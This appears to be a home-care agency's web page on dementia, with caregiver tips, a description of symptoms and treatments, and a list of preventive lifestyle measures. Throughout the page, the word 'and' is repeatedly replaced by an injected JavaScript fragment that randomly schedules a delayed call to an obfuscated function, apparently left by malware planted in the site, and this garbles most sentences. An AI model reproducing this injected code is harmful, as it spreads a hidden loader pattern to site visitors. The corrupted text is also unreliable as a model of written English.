Project Description

Dementia

Caregiver Assistance Tips

  1. Focus on helping your patient stay sharp by keeping them involved in discussions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and decision making. Patience will be key here.
  2. Get to know your senior. Every person is different andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and will require extra attention in certain areas
  3. Dementia truly affects the entire family. You are not only providing care to a patient but also peace of mind andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and help to an entire family.

Information

Dementia is an umbrella term for conditions involving cognitive impairment. Symptoms include memory loss, personality changes, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and even issues with language, communication, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and thinking. Dementia is not normally a part of aging andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and causes serious impairment. Our caregivers are trained in identifying the symptoms of dementia andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and providing care to those who suffer from these symptoms. Unfortunately most dementia related conditions cannot be cured. For most types of dementia, there is no way to slow or reverse cognitive impairment. There are medications andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and alternative treatments that are used to improve andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and alleviate symptoms in dementia care. Treatments andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and medication will depend heavily on the specific dementia condition in question. Current research suggests that exercise, diet, smoking, cardiovascular disease, cholesterol, diabetes, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and mild cognitive impairment may all factor into the development of dementia. Making healthy lifestyle choices, especially during middle age, may be integral to dementia prevention. Preventative measures include:

  • Reducing smoking, alcohol abuse, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and recreational drug abuse
  • Participating in mentally stimulating, memory-training activities
  • Staying physically andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and socially active
  • Eating a healthy diet
  • Maintaining a regular exercise routine
  • Getting adequate, quality sleep
  • Adequately managing stress
  • Managing health problems such as high cholesterol, diabetes, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and high blood pressure